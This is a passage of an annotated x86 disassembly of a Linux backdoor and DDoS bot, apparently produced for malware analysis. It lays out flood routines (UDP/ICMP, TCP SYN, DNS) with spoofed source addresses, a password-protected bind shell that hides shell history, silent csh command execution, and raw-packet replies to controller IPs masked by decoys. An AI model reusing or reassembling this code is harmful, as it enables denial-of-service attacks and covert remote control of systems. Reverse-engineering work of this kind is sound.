	  movzx	eax, byte ptr [ebp+tmp2.payload+5]
	  push	eax			; source_port2
	  movzx	eax, byte ptr [ebp+tmp2.payload+4]
	  push	eax			; source_port1
	  push	0			; count
	  movzx	eax, byte ptr [ebp+tmp2.payload+3]
	  push	eax			; source_ip4
	  movzx	eax, byte ptr [ebp+tmp2.payload+2]
	  push	eax			; source_ip3
	  movzx	eax, byte ptr [ebp+tmp2.payload+1]
	  push	eax			; source_ip2
	  movzx	eax, byte ptr [ebp+tmp2.payload]
	  push	eax			; source_ip1
	  call	f_send_dns_SOA		; called by case 3,8
	  add	esp, 24h
	  push	0			; status
	  call	__exit
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  nop
-----------------------------------------------------------------------------------------------------------------------------

case_4:					; CODE XREF: f_main+1F1j
					; DATA XREF: f_main+1F8o
	  cmp	ds:pid_current_task, 0	; case 0x4: send an infinite number of UDP or ICMP ECHO	paquets
	  jnz	loop_end		; default
	  mov	ds:current_task_plus_1,	5 ; contain the	current	task number (+1)
	  call	___fork
	  mov	ds:pid_current_task, eax ; PID of a forked task
	  test	eax, eax
	  jnz	loop_end		; default
	  lea	edi, [ebp+tmp4]
	  lea	esi, [ebp+tmp2]
	  cld
	  mov	ecx, 63
	  repe movsd
	  movsw
	  movsb
	  xor	ebx, ebx
	  lea	esi, [esi]

loop_shift_tmp4_4:			; CODE XREF: f_main+6EDj
	  mov	al, [ebx+ebp+tmp4+0Dh]
	  mov	[ebx+ebp+tmp4],	al
	  inc	ebx
	  cmp	ebx, 254
	  jle	short loop_shift_tmp4_4
	  lea	eax, [ebp+tmp4]
	  push	eax			; destination_hostname
	  movzx	eax, byte ptr [ebp+tmp2.payload+0Ah]
	  push	eax			; use_destination_hostname
	  movzx	eax, byte ptr [ebp+tmp2.payload+9]
	  push	eax			; source_ip4
	  movzx	eax, byte ptr [ebp+tmp2.payload+8]
	  push	eax			; source_ip3
	  movzx	eax, byte ptr [ebp+tmp2.payload+7]
	  push	eax			; source_ip2
	  movzx	eax, byte ptr [ebp+tmp2.payload+6]
	  push	eax			; source_ip1
	  movzx	eax, byte ptr [ebp+tmp2.payload+5]
	  push	eax			; destination_ip4
	  movzx	eax, byte ptr [ebp+tmp2.payload+4]
	  push	eax			; destination_ip3
	  movzx	eax, byte ptr [ebp+tmp2.payload+3]
	  push	eax			; destination_ip2
	  movzx	eax, byte ptr [ebp+tmp2.payload+2]
	  push	eax			; destination_ip1
	  movzx	eax, byte ptr [ebp+tmp2.payload+1]
	  push	eax			; destination_port
	  movzx	eax, byte ptr [ebp+tmp2.payload]
	  push	eax			; use_udp
	  call	f_send_udp_or_icmp_echo	; called by case 4
	  add	esp, 30h
	  push	0			; status
	  call	__exit
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  lea	esi, [esi+0]
-----------------------------------------------------------------------------------------------------------------------------

case_5:					; CODE XREF: f_main+1F1j
					; DATA XREF: f_main+1F8o
	  cmp	ds:pid_current_task, 0	; case 0x5: bind a multi-clients telnet-like shell
	  jnz	loop_end		; default
	  mov	ds:current_task_plus_1,	6 ; contain the	current	task number (+1)
	  push	1			; _sig_func_ptr
	  push	17			; int
	  call	_signal
	  call	___fork
	  mov	ds:pid_current_task, eax ; PID of a forked task
	  add	esp, 8
	  test	eax, eax
	  jnz	loop_end		; default
	  call	___libc_setsid
	  push	1			; _sig_func_ptr
	  push	17			; int
	  call	_signal
	  mov	[ebp+shell_addr.sin_family], AF_INET
	  add	esp, 8
	  mov	[ebp+shell_addr.sin_port], 61786 ; TCP port of the shell = 23281
	  mov	[ebp+shell_addr.sin_addr], 0
	  mov	[ebp+optval], 1
	  push	0			; protocol
	  push	SOCK_STREAM		; type
	  push	AF_INET			; domain
	  call	_socket
	  mov	[ebp+socket], eax
	  push	1			; _sig_func_ptr
	  push	17			; int
	  call	_signal
	  push	1			; _sig_func_ptr
	  push	17			; int
	  call	_signal
	  push	1			; _sig_func_ptr
	  push	1			; int
	  call	_signal
	  add	esp, 24h
	  push	1			; _sig_func_ptr
	  push	15			; int
	  call	_signal
	  push	1			; _sig_func_ptr
	  push	2			; int
	  call	_signal
	  push	4			; optlen
	  lea	eax, [ebp+optval]
	  push	eax			; optval
	  push	2			; optname
	  push	1			; level
	  mov	ecx, [ebp+socket]
	  push	ecx			; s
	  call	_setsockopt
	  add	esp, 24h
	  push	10h			; namelen
	  lea	eax, [ebp+shell_addr]
	  push	eax			; addr
	  mov	edx, [ebp+socket]
	  push	edx			; s
	  call	_bind
	  push	3			; backlog
	  mov	ecx, [ebp+socket]
	  push	ecx			; s
	  call	_listen
	  add	esp, 14h
	  nop

loop_accept:				; CODE XREF: f_main+882j
	  lea	eax, [ebp+addrlen]
	  push	eax			; addrlen
	  lea	eax, [ebp+addr]
	  push	eax			; addr
	  mov	edx, [ebp+socket]
	  push	edx			; s
	  call	_accept
	  mov	[ebp+fd], eax
	  add	esp, 0Ch
	  test	eax, eax
	  jz	case_5_end
	  call	___fork
	  test	eax, eax
	  jnz	short loop_accept
	  push	0			; flags
	  push	19			; len
	  lea	eax, [ebp+buf]
	  push	eax			; buf
	  mov	ecx, [ebp+fd]
	  push	ecx			; s
	  call	_recv
	  xor	ebx, ebx
	  add	esp, 10h

loop_password_begin:			; CODE XREF: f_main+8CEj
	  mov	al, [ebx+ebp+buf]
	  cmp	al, 0Ah
	  jz	short password_0Ah_or_0Dh
	  cmp	al, 0Dh
	  jnz	short password_char

password_0Ah_or_0Dh:			; CODE XREF: f_main+8A9j
	  mov	[ebx+ebp+buf], 0
	  jmp	short loop_password_end
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

password_char:				; CODE XREF: f_main+8ADj
	  mov	[ebx+ebp+buf], al
	  inc	[ebx+ebp+buf]		; //?

loop_password_end:			; CODE XREF: f_main+8B7j
	  inc	ebx
	  cmp	ebx, 18
	  jle	short loop_password_begin
	  lea	esi, [ebp+buf]
	  mov	edi, offset aTfojg	; password = SeNiF
	  mov	ecx, 6
	  cld
	  test	al, 0
	  repe cmpsb
	  jz	short password_ok
	  push	0			; flags
	  push	4			; len
	  push	offset fake_telnet_negociation ; buf
	  mov	edx, [ebp+fd]
	  push	edx			; s
	  call	_send
	  mov	ecx, [ebp+fd]
	  push	ecx			; fd
	  call	___close
	  push	1			; status
	  call	_exit			; execute some manipulations and terminate the program
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  nop

password_ok:				; CODE XREF: f_main+8E5j
	  push	0			; newd
	  mov	edx, [ebp+fd]
	  push	edx			; oldd
	  call	___dup2
	  push	1			; newd
	  mov	ecx, [ebp+fd]
	  push	ecx			; oldd
	  call	___dup2
	  push	2			; newd
	  mov	edx, [ebp+fd]
	  push	edx			; oldd
	  call	___dup2
	  push	1			; overwrite
	  push	offset aSbinBinUsrSbin	; value
	  push	offset aPath		; string
	  call	_setenv
	  add	esp, 24h
	  push	offset aHistfile	; "HISTFILE"
	  call	_unsetenv
	  push	1			; overwrite
	  push	offset aLinux		; value
	  push	offset aTerm		; string
	  call	_setenv
	  push	0
	  push	offset aSh		; char *
	  push	offset aBinSh		; path
	  call	_execl
	  mov	ecx, [ebp+fd]
	  push	ecx			; fd
	  call	___close
	  add	esp, 20h
	  push	0			; status
	  call	_exit			; execute some manipulations and terminate the program
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД

case_5_end:				; CODE XREF: f_main+875j
	  push	0			; status
	  call	_exit			; execute some manipulations and terminate the program
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  nop
-----------------------------------------------------------------------------------------------------------------------------

case_6:					; CODE XREF: f_main+1F1j
					; DATA XREF: f_main+1F8o
	  call	___fork			; case 0x6: run	a command by using csh without output
	  mov	ds:pid,	eax
	  test	eax, eax
	  jnz	loop_end		; default
	  call	___libc_setsid
	  push	1			; _sig_func_ptr
	  push	17			; int
	  call	_signal
	  call	___fork
	  add	esp, 8
	  test	eax, eax
	  jz	short case_6_child
	  push	1200			; seconds
	  call	_sleep
	  push	9			; sig
	  mov	eax, ds:pid
	  push	eax			; pid
	  call	___kill
	  push	0			; status
	  call	_exit			; execute some manipulations and terminate the program
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  lea	esi, [esi]

case_6_child:				; CODE XREF: f_main+9C2j
	  xor	ebx, ebx
	  lea	esi, [esi]

loc_8048B1C:				; CODE XREF: f_main+9FDj
	  mov	al, [ebx+ebp-0FFEh]
	  mov	[ebx+ebp-1000h], al
	  inc	ebx
	  cmp	ebx, 18Dh
	  jle	short loc_8048B1C
	  mov	edx, [ebp+p_tmp2]
	  push	edx
	  push	offset aBinCshFCS	; format
	  lea	ebx, [ebp+tmp1]
	  push	ebx			; str
	  call	__IO_sprintf
	  push	ebx			; string
	  call	_system
	  push	0			; status
	  call	__exit
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
-----------------------------------------------------------------------------------------------------------------------------

case_7:					; CODE XREF: f_main+1F1j
					; DATA XREF: f_main+1F8o
	  mov	eax, ds:pid_current_task ; case	0x7: kill the current task
	  test	eax, eax
	  jz	loop_end		; default
	  push	9			; sig
	  push	eax			; pid
	  call	___kill
	  mov	ds:pid_current_task, 0	; PID of a forked task
	  add	esp, 8
	  jmp	loop_end		; default
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4
-----------------------------------------------------------------------------------------------------------------------------

case_8:					; CODE XREF: f_main+1F1j
					; DATA XREF: f_main+1F8o
	  cmp	ds:pid_current_task, 0	; case 0x8: send an finite number of DNS paquets (SOA)
	  jnz	loop_end		; default
	  mov	ds:current_task_plus_1,	9 ; contain the	current	task number (+1)
	  call	___fork
	  mov	ds:pid_current_task, eax ; PID of a forked task
	  test	eax, eax
	  jnz	loop_end		; default
	  lea	edi, [ebp+tmp4]
	  lea	esi, [ebp+tmp2]
	  cld
	  mov	ecx, 63
	  repe movsd
	  movsw
	  movsb
	  xor	ebx, ebx
	  lea	esi, [esi]

loc_8048BC4:				; CODE XREF: f_main+AA5j
	  mov	al, [ebx+ebp+tmp4+10]
	  mov	[ebx+ebp+tmp4],	al
	  inc	ebx
	  cmp	ebx, 254
	  jle	short loc_8048BC4
	  lea	eax, [ebp+tmp4]
	  push	eax			; hostname
	  movzx	eax, byte ptr [ebp+tmp2.payload+7]
	  push	eax			; use_hostname
	  movzx	eax, byte ptr [ebp+tmp2.payload+6]
	  push	eax			; source_port2
	  movzx	eax, byte ptr [ebp+tmp2.payload+5]
	  push	eax			; source_port1
	  movzx	eax, byte ptr [ebp+tmp2.payload+4]
	  push	eax			; count
	  movzx	eax, byte ptr [ebp+tmp2.payload+3]
	  push	eax			; source_ip4
	  movzx	eax, byte ptr [ebp+tmp2.payload+2]
	  push	eax			; source_ip3
	  movzx	eax, byte ptr [ebp+tmp2.payload+1]
	  push	eax			; source_ip2
	  movzx	eax, byte ptr [ebp+tmp2.payload]
	  push	eax			; source_ip1
	  call	f_send_dns_SOA		; called by case 3,8
	  add	esp, 24h
	  push	0			; status
	  call	__exit
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  lea	esi, [esi+0]
-----------------------------------------------------------------------------------------------------------------------------

case_9:					; CODE XREF: f_main+1F1j
					; DATA XREF: f_main+1F8o
	  cmp	ds:pid_current_task, 0	; case 0x9: : send an infinite number of TCP segments
	  jnz	loop_end		; default
	  mov	ds:current_task_plus_1,	0Ah ; contain the current task number (+1)
	  call	___fork
	  mov	ds:pid_current_task, eax ; PID of a forked task
	  test	eax, eax
	  jnz	loop_end		; default
	  lea	edi, [ebp+tmp4]
	  lea	esi, [ebp+tmp2]
	  cld
	  mov	ecx, 63
	  repe movsd
	  movsw
	  movsb
	  xor	ebx, ebx
	  lea	esi, [esi]

loc_8048C78:				; CODE XREF: f_main+B59j
	  mov	al, [ebx+ebp+tmp4+0Eh]
	  mov	[ebx+ebp+tmp4],	al
	  inc	ebx
	  cmp	ebx, 254
	  jle	short loc_8048C78
	  lea	eax, [ebp+tmp4]
	  push	eax			; destination_hostname
	  movzx	eax, byte ptr [ebp+tmp2.payload+0Bh]
	  push	eax			; use_destination_hostname
	  push	0			; count
	  movzx	eax, byte ptr [ebp+tmp2.payload+0Ah]
	  push	eax			; source_ip4
	  movzx	eax, byte ptr [ebp+tmp2.payload+9]
	  push	eax			; source_ip3
	  movzx	eax, byte ptr [ebp+tmp2.payload+8]
	  push	eax			; source_ip2
	  movzx	eax, byte ptr [ebp+tmp2.payload+7]
	  push	eax			; source_ip1
	  movzx	eax, byte ptr [ebp+tmp2.payload+6]
	  push	eax			; no_random_source_ip
	  movzx	eax, byte ptr [ebp+tmp2.payload+5]
	  push	eax			; destination_port2
	  movzx	eax, byte ptr [ebp+tmp2.payload+4]
	  push	eax			; destination_port1
	  movzx	eax, byte ptr [ebp+tmp2.payload+3]
	  push	eax			; destination_ip4
	  movzx	eax, byte ptr [ebp+tmp2.payload+2]
	  push	eax			; destination_ip3
	  movzx	eax, byte ptr [ebp+tmp2.payload+1]
	  push	eax			; destination_ip2
	  movzx	eax, byte ptr [ebp+tmp2.payload]
	  push	eax			; destination_ip1
	  call	f_send_tcp_syn		; called  by case 9, A
	  add	esp, 38h
	  push	0			; status
	  call	__exit
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  nop
-----------------------------------------------------------------------------------------------------------------------------

case_A:					; CODE XREF: f_main+1F1j
					; DATA XREF: f_main+1F8o
	  cmp	ds:pid_current_task, 0	; case 0xa: send an finite number of TCP segments
	  jnz	loop_end		; default
	  mov	ds:current_task_plus_1,	0Bh ; contain the current task number (+1)
	  call	___fork
	  mov	ds:pid_current_task, eax ; PID of a forked task
	  test	eax, eax
	  jnz	loop_end		; default
	  lea	edi, [ebp+tmp4]
	  lea	esi, [ebp+tmp2]
	  cld
	  mov	ecx, 63
	  repe movsd
	  movsw
	  movsb
	  xor	ebx, ebx
	  lea	esi, [esi]

loc_8048D4C:				; CODE XREF: f_main+C2Dj
	  mov	al, [ebx+ebp+tmp4+0Fh]
	  mov	[ebx+ebp+tmp4],	al
	  inc	ebx
	  cmp	ebx, 254
	  jle	short loc_8048D4C
	  lea	eax, [ebp+tmp4]
	  push	eax			; destination_hostname
	  movzx	eax, byte ptr [ebp+tmp2.payload+0Ch]
	  push	eax			; use_destination_hostname
	  movzx	eax, byte ptr [ebp+tmp2.payload+0Bh]
	  push	eax			; count
	  movzx	eax, byte ptr [ebp+tmp2.payload+0Ah]
	  push	eax			; source_ip4
	  movzx	eax, byte ptr [ebp+tmp2.payload+9]
	  push	eax			; source_ip3
	  movzx	eax, byte ptr [ebp+tmp2.payload+8]
	  push	eax			; source_ip2
	  movzx	eax, byte ptr [ebp+tmp2.payload+7]
	  push	eax			; source_ip1
	  movzx	eax, byte ptr [ebp+tmp2.payload+6]
	  push	eax			; no_random_source_ip
	  movzx	eax, byte ptr [ebp+tmp2.payload+5]
	  push	eax			; destination_port2
	  movzx	eax, byte ptr [ebp+tmp2.payload+4]
	  push	eax			; destination_port1
	  movzx	eax, byte ptr [ebp+tmp2.payload+3]
	  push	eax			; destination_ip4
	  movzx	eax, byte ptr [ebp+tmp2.payload+2]
	  push	eax			; destination_ip3
	  movzx	eax, byte ptr [ebp+tmp2.payload+1]
	  push	eax			; destination_ip2
	  movzx	eax, byte ptr [ebp+tmp2.payload]
	  push	eax			; destination_ip1
	  call	f_send_tcp_syn		; called  by case 9, A
	  add	esp, 38h
	  push	0			; status
	  call	__exit
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  lea	esi, [esi+0]
-----------------------------------------------------------------------------------------------------------------------------

case_B:					; CODE XREF: f_main+1F1j
					; DATA XREF: f_main+1F8o
	  cmp	ds:pid_current_task, 0	; case 0xb: send DNS answers
	  jnz	loop_end		; default
	  mov	ds:current_task_plus_1,	0Ch ; contain the current task number (+1)
	  call	___fork
	  mov	ds:pid_current_task, eax ; PID of a forked task
	  test	eax, eax
	  jnz	loop_end		; default
	  lea	edi, [ebp+tmp4]
	  lea	esi, [ebp+tmp2]
	  cld
	  mov	ecx, 63
	  repe movsd
	  movsw
	  movsb
	  xor	ebx, ebx
	  lea	esi, [esi]

loc_8048E28:				; CODE XREF: f_main+D09j
	  mov	al, [ebx+ebp+tmp4+0Eh]
	  mov	[ebx+ebp+tmp4],	al
	  inc	ebx
	  cmp	ebx, 254
	  jle	short loc_8048E28
	  lea	eax, [ebp+tmp4]
	  push	eax			; hostname
	  movzx	eax, byte ptr [ebp+tmp2.payload+0Bh]
	  push	eax			; use_destination_hostname
	  movzx	eax, byte ptr [ebp+tmp2.payload+0Ah]
	  push	eax			; source_port2
	  movzx	eax, byte ptr [ebp+tmp2.payload+9]
	  push	eax			; source_port1
	  movzx	eax, byte ptr [ebp+tmp2.payload+8]
	  push	eax			; count
	  movzx	eax, byte ptr [ebp+tmp2.payload+7]
	  push	eax			; source_ip4
	  movzx	eax, byte ptr [ebp+tmp2.payload+6]
	  push	eax			; source_ip3
	  movzx	eax, byte ptr [ebp+tmp2.payload+5]
	  push	eax			; source_ip2
	  movzx	eax, byte ptr [ebp+tmp2.payload+4]
	  push	eax			; source_ip1
	  movzx	eax, byte ptr [ebp+tmp2.payload+3]
	  push	eax			; destination_ip4
	  movzx	eax, byte ptr [ebp+tmp2.payload+2]
	  push	eax			; destination_ip3
	  movzx	eax, byte ptr [ebp+tmp2.payload+1]
	  push	eax			; destination_ip2
	  movzx	eax, byte ptr [ebp+tmp2.payload]
	  push	eax			; destination_ip1
	  call	f_send_dns		; called by case B
	  add	esp, 34h
	  push	0			; status
	  call	__exit
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  lea	esi, [esi+0]

loop_end:				; CODE XREF: f_main+1A5j f_main+1B4j ...
	  push	2710h			; default
	  call	_usleep
	  add	esp, 4
	  jmp	infinite_loop
f_main	  endp

; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

; ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ S U B	R O U T	I N E ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ

; called by case 0, 2
; Attributes: bp-based frame

; int __cdecl f_send_backdoor_reply_with_decoys(char *p_destination_ips,char *p_string_command,int size)
f_send_backdoor_reply_with_decoys proc near ; CODE XREF: f_main+2AFp
					; f_main+5ABp

var_C	  = byte ptr -0Ch
p_destination_ips= dword ptr  8
p_string_command= dword	ptr  0Ch
size	  = dword ptr  10h

	  push	ebp
	  mov	ebp, esp
	  push	edi
	  push	esi
	  push	ebx
	  mov	eax, [ebp+p_destination_ips]
	  mov	edi, [ebp+size]
	  cmp	ds:b_use_decoys, 0
	  jz	short no_decoys
	  mov	ebx, eax		; ebx <- first decoy from p_destination_ips
	  lea	esi, [ebx+4*9]		; esi <- last decoy from p_destination_ips
	  lea	esi, [esi]

loop_decoys:				; CODE XREF: f_send_backdoor_reply_with_decoys+3Ej
	  push	4000
	  call	_usleep
	  push	edi			; size
	  mov	edx, [ebp+p_string_command]
	  push	edx			; p_string_command
	  push	ebx			; p_destination_ip
	  push	offset p_backdoor_source_ip ; p_source_ip
	  call	f_send_backdoor_reply	; called by case 0, 1
	  add	esp, 14h
	  add	ebx, 4			; next decoy
	  cmp	ebx, esi
	  jle	short loop_decoys
	  jmp	short end
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

no_decoys:				; CODE XREF: f_send_backdoor_reply_with_decoys+13j
	  push	edi			; size
	  mov	edx, [ebp+p_string_command]
	  push	edx			; p_string_command
	  push	eax			; p_destination_ip
	  push	offset p_backdoor_source_ip ; p_source_ip
	  call	f_send_backdoor_reply	; called by case 0, 1

end:					; CODE XREF: f_send_backdoor_reply_with_decoys+40j
	  mov	eax, 1
	  lea	esp, [ebp-0Ch]
	  pop	ebx
	  pop	esi
	  pop	edi
	  mov	esp, ebp
	  pop	ebp
	  retn
f_send_backdoor_reply_with_decoys endp

; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

; ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ S U B	R O U T	I N E ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ

; compute IP checksum (not used	but linked !!!)
; Attributes: bp-based frame

f_ip_checksum proc near

var_8	  = dword ptr -8
var_2	  = word ptr -2
arg_0	  = dword ptr  8
arg_4	  = dword ptr  0Ch

	  push	ebp
	  mov	ebp, esp
	  sub	esp, 4
	  push	ebx
	  mov	edx, [ebp+arg_4]
	  mov	ebx, [ebp+arg_0]
	  xor	ecx, ecx
	  mov	[ebp+var_2], 0
	  cmp	edx, 1
	  jle	short loc_8048F5C
	  lea	esi, [esi]

loc_8048F4C:				; CODE XREF: f_ip_checksum+2Aj
	  movzx	eax, word ptr [ebx]
	  add	ecx, eax
	  add	ebx, 2
	  add	edx, 0FFFFFFFEh
	  cmp	edx, 1
	  jg	short loc_8048F4C

loc_8048F5C:				; CODE XREF: f_ip_checksum+18j
	  cmp	edx, 1
	  jnz	short loc_8048F6C
	  mov	al, [ebx]
	  mov	byte ptr [ebp+var_2], al
	  movzx	eax, [ebp+var_2]
	  add	ecx, eax

loc_8048F6C:				; CODE XREF: f_ip_checksum+2Fj
	  mov	edx, ecx
	  sar	edx, 10h
	  movzx	eax, cx
	  lea	ecx, [eax+edx]
	  mov	eax, ecx
	  sar	eax, 10h
	  add	ecx, eax
	  mov	eax, ecx
	  not	ax
	  mov	[ebp+var_2], ax
	  and	eax, 0FFFFh
	  mov	ebx, [ebp+var_8]
	  mov	esp, ebp
	  pop	ebp
	  retn
f_ip_checksum endp

; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

; ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ S U B	R O U T	I N E ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ

; called by case 0, 1
; Attributes: bp-based frame

; int __cdecl f_send_backdoor_reply(char *p_source_ip,char *p_destination_ip,char *p_string_command,size_t size)
f_send_backdoor_reply proc near		; CODE XREF: f_send_backdoor_reply_with_decoys+31p
					; f_send_backdoor_reply_with_decoys+4Fp

var_50	  = byte ptr -50h
socket	  = dword ptr -44h
p_raw_paquet_payload= dword ptr	-40h
p_raw_paquet= dword ptr	-3Ch
p_raw_paquet_payload_2=	dword ptr -38h
var_32	  = word ptr -32h
str	  = byte ptr -30h
to	  = sockaddr_in	ptr -10h
p_source_ip= dword ptr	8
p_destination_ip= dword	ptr  0Ch
p_string_command= dword	ptr  10h
size	  = dword ptr  14h

	  push	ebp
	  mov	ebp, esp
	  sub	esp, 44h
	  push	edi
	  push	esi
	  push	ebx
	  mov	ebx, [ebp+p_destination_ip]
	  push	255			; protocol
	  push	SOCK_RAW		; type
	  push	AF_INET			; domain
	  call	_socket
	  mov	[ebp+socket], eax
	  add	esp, 0Ch
	  cmp	eax, 0FFFFFFFFh
	  jz	short malloc_error
	  mov	eax, [ebp+size]
	  add	eax, 23
	  push	eax
	  call	___libc_malloc
	  mov	esi, eax		; esi <- malloc(size+23) (= paquet that	we will	send)
	  add	esp, 4
	  test	esi, esi
	  jnz	short loc_8048FD8

malloc_error:				; CODE XREF: f_send_backdoor_reply+23j
	  xor	eax, eax
	  jmp	end
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

loc_8048FD8:				; CODE XREF: f_send_backdoor_reply+38j
	  mov	[ebp+p_raw_paquet], esi
	  lea	edi, [esi+ip_paquet.payload]
	  mov	[ebp+p_raw_paquet_payload], edi
	  lea	edi, [esi+ip_paquet.payload+2]
	  mov	[ebp+p_raw_paquet_payload_2], edi
	  mov	edi, [ebp+p_source_ip]
	  mov	al, [edi]
	  mov	byte ptr [esi+ip_paquet.source_ip], al
	  mov	al, [edi+1]
	  mov	[esi+ip_paquet.source_ip+1], al
	  mov	al, [edi+2]
	  mov	[esi+ip_paquet.source_ip+2], al
	  mov	al, [edi+3]
	  mov	[esi+ip_paquet.source_ip+3], al
memcpy(ip_paquet.source_ip, p_source_ip, 4)
	  mov	al, [ebx]
	  mov	byte ptr [esi+ip_paquet.destination_ip], al
	  mov	al, [ebx+1]
	  mov	[esi+ip_paquet.destination_ip+1], al
	  mov	al, [ebx+2]
	  mov	[esi+ip_paquet.destination_ip+2], al
	  mov	al, [ebx+3]
	  mov	[esi+ip_paquet.destination_ip+3], al
memcpy(ip_paquet.destination, p_destination_ip,	4)
	  movzx	eax, byte ptr [ebx+3]
	  push	eax
	  movzx	eax, byte ptr [ebx+2]
	  push	eax
	  movzx	eax, byte ptr [ebx+1]
	  push	eax
	  movzx	eax, byte ptr [ebx]
	  push	eax
	  push	offset aD_D_D_D		; format
	  lea	ebx, [ebp+str]
	  push	ebx			; str
	  call	__IO_sprintf
	  push	ebx			; host
	  call	f_gethostname_addr_list	; f_gethostname_addr_list(sprintf(p_destination_ip))
	  mov	[ebp+to.sin_addr], eax
	  mov	[ebp+to.sin_port], 10
	  mov	[ebp+to.sin_family], AF_INET
	  mov	byte ptr [esi],	45h
	  mov	[esi+ip_paquet.ttl], 250
	  mov	[esi+ip_paquet.protocol], IPPROTO_backdoor_recv
	  add	esp, 1Ch
	  mov	ax, word ptr [ebp+size]
	  add	ax, 22
	  xchg	al, ah
	  mov	[esi+ip_paquet.total_length], ax ; total_length	<- 20 +	2 + size
	  mov	[esi+ip_paquet.tos], 0
	  call	_rand
	  xchg	al, ah
	  mov	[esi+ip_paquet.id], ax	; random IP ID
	  mov	[esi+ip_paquet.fragmentation], 0
	  mov	[esi+ip_paquet.checksum], 0

	  mov	edx, ip_paquet.payload
	  mov	ecx, esi
	  xor	ebx, ebx
	  mov	[ebp+var_32], 0

loc_8049094:				; CODE XREF: f_send_backdoor_reply+10Ej
	  movzx	eax, word ptr [ecx]
	  add	ebx, eax
	  add	ecx, 2
	  add	edx, 0FFFFFFFEh
	  cmp	edx, 1
	  jg	short loc_8049094
	  jnz	short loc_80490B1
	  mov	al, [ecx]
	  mov	byte ptr [ebp+var_32], al
	  movzx	eax, [ebp+var_32]
	  add	ebx, eax

loc_80490B1:				; CODE XREF: f_send_backdoor_reply+110j
	  mov	edx, ebx
	  sar	edx, 10h
	  movzx	eax, bx
	  lea	ebx, [eax+edx]
	  mov	eax, ebx
	  sar	eax, 10h
	  add	ebx, eax
	  mov	eax, ebx
	  not	ax
	  mov	[ebp+var_32], ax
	  mov	edi, [ebp+p_raw_paquet]
	  mov	[edi+ip_paquet.checksum], ax
compute	IP header checksum
	  mov	edi, [ebp+p_raw_paquet_payload]
	  mov	byte ptr [edi],	3	; signature sended paquet
	  mov	edi, [ebp+size]
	  push	edi			; size_t
	  mov	edi, [ebp+p_string_command]
	  push	edi			; source
	  mov	edi, [ebp+p_raw_paquet_payload_2]
	  push	edi			; destination
	  call	_memcpy
memcpy(&p_raw_paquet_payload[2], p_string, size);
	  add	esp, 0Ch
	  push	16			; tolen
	  lea	eax, [ebp+to]
	  push	eax			; to
	  push	0			; flags
	  mov	eax, [ebp+size]
	  add	eax, 16h
	  push	eax			; len
	  push	esi			; buf
	  mov	edi, [ebp+socket]
	  push	edi			; s
	  call	_sendto
sended paquet:
03 ?? <p_string>
	  add	esp, 18h
	  cmp	eax, 0FFFFFFFFh
	  jnz	short sendto_error
	  push	esi
	  call	___libc_free
	  xor	eax, eax
	  jmp	short end
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД

sendto_error:				; CODE XREF: f_send_backdoor_reply+178j
	  mov	edi, [ebp+socket]
	  push	edi			; fd
	  call	___close
	  push	esi
	  call	___libc_free
	  mov	eax, 1

end:					; CODE XREF: f_send_backdoor_reply+3Cj
					; f_send_backdoor_reply+182j
	  lea	esp, [ebp-50h]
